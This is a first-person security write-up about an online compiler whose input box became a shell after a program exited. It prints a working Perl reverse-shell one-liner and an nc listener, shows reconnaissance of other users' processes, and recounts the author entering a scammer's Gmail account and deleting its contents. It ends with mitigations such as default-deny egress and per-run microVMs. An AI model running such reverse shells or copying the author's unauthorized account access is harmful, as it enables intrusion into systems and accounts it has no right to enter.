A Reverse Shell from an Online Compiler
The blinking cursor
This started by accident. I had a small Java program in Programiz that read some input, ran it, and finished. After it printed its output I pressed Enter a couple of times out of habit, and instead of going back to an idle state the output pane just left me with a cursor blinking on an empty line. No prompt, no label, nothing. It looked like the program had hung.
So I typed ls and pressed Enter, and it listed a directory. The input box
that programs read from was sitting on top of a shell, and once the Java process was out
of the way, whatever I typed there ran as a command. That is the whole bug: an input
field that was supposed to feed stdin to my program was, after the program exited, just
a shell waiting for commands.
Where am I
The first thing you do with a shell you did not expect to have is figure out who and where you are.
$ whoami
compiler
$ ls /
app bin boot dev etc home lib lib32 lib64 libx32
media mnt opt proc root run sbin srv sys tmp usr var
I am compiler, a dedicated low-privilege user, which is the right call. The
filesystem is a normal Debian-ish container, and my compiled program is sitting in
/tmp where the runner dropped it. So far this is a sandbox, a per-run
container running my code as an unprivileged user. The problem is what that sandbox is
allowed to do next.
Turning it into a real shell
Typing commands one at a time into a web input box is miserable, so I upgraded to a proper interactive shell. From inside the Java program I shelled out to a one-line Perl reverse shell that dials back to a listener on my own machine. To actually receive it I opened a port on my home router and forwarded it to my laptop, since the connection has to come inbound from the cloud box to me.
$ nc -lnvp 1337
Connection from 35.223.55.41:40180
perl -MIO -e '$p=fork;exit,if($p);
$c=new IO::Socket::INET(PeerAddr,"<MY_IP>:1337");
STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
The source address, 35.223.55.41, is a Google Cloud range, so the compiler
backend is a container running in GCP. The Java editor still printed its usual
Hello, World! to the output pane and looked completely normal, but it had
also forked a child that dialed home, and my terminal lit up with an interactive prompt
running as compiler.
It is one big shared box
Then I ran ps -aux, and that is where it stopped being a toy. The process
list was full of other people's programs, all running as the same compiler
user on the same machine at the same time:
compiler 211 python3.8 -i -c for x in range(10): print("...")
compiler 215 perl -MIO -e $p=fork;exit,if($p);$c=new IO::Socket::INET(...) # mine
compiler 227 python3.8 -i -c persons_name = input("enter your name ")
favourite_color = input("enter a color: ")
Every visitor hitting "Run" anywhere on the site lands on this same box as this same
user. I could see their source code on the command line, see programs sitting at an
input() prompt waiting for someone to type a name, and I had the privileges
to read their temp files or signal their processes. There is a sandbox around the
machine, but there is no isolation between users on it. A per-run container that every
user shares is not really a per-run container.
The scammer
Most of the other sessions were exactly what you would expect from an online compiler: homework, test prints, people learning loops. One was not. Someone was using the box to run an email scam, and from there I found my way into the Gmail account they were driving it from.
It was a Norton refund scam, the callback kind. The sent folder was full of near identical emails blasted out with long lists of bcc recipients, each one a fake invoice: "Thank you for your order, your Norton 360 subscription has renewed, we have charged 349.99 USD to your account, if you did not authorize this call our toll free number." There was a forged Norton invoice image attached and a phone number to call. The whole thing is designed to panic someone into calling, at which point the "support" line walks them through handing over money or remote access to fix a charge that never happened.
Cleaning up
I am not going to pretend I handled this like a professional. I was already logged into the account, I could see exactly who it was targeting, so I deleted the scam mail and the account contents to break that particular run. It is not a fix, they will spin up another address tomorrow, but it felt better than closing the tab and leaving the next batch to go out. Mostly it drove home that the same missing isolation that let me look around also let someone park an active scam operation on a free coding website and reach real inboxes from it.
What actually went wrong
Running my code as an unprivileged user in a container is the correct baseline. The problems are the controls layered on top of it, or rather missing from it:
- The input box was a shell. Once the program exited, the stdin channel dropped to a command interpreter instead of just ending the run. That alone hands every user a shell with no exploit required.
- No isolation between users. Everyone runs as one shared user on one shared box, able to see and touch each other's processes and files.
- Unrestricted egress. The container could open an arbitrary outbound connection to my listener. With no egress firewall, a code sandbox becomes a reverse shell host and a pivot point.
- A full toolbox on
$PATH.perl,bashand friends being present turns "run code" into "run anything." A minimal image removes most of the easy primitives.
How you would contain this
None of the fixes are exotic. If you run untrusted code for a living, the defenses are well known:
| Layer | Control |
|---|---|
| Isolation | One-shot microVM (Firecracker/gVisor) per run, torn down after, no shared user and no shared state between sessions. |
| Network | Default-deny egress. The runner needs no outbound access at all, drop it at the container or VPC level. |
| Syscalls | seccomp allow-list; block socket,
connect, ptrace, mount and friends. |
| Image | Minimal rootfs, no perl/bash/curl
the language runtime does not need. |
| Resources | CPU, memory, PID and time limits so a fork bomb or miner cannot camp on the box. |
Takeaway
Sandboxing the user with an unprivileged account is necessary but nowhere near enough. The moment a sandbox is shared between strangers and can open a socket to the internet, "we run your code in a container" quietly becomes "we give everyone a shell on a shared machine with outbound network access," and you find out who shows up to use it. Assume every run is hostile, give each one its own throwaway box, and cut the network.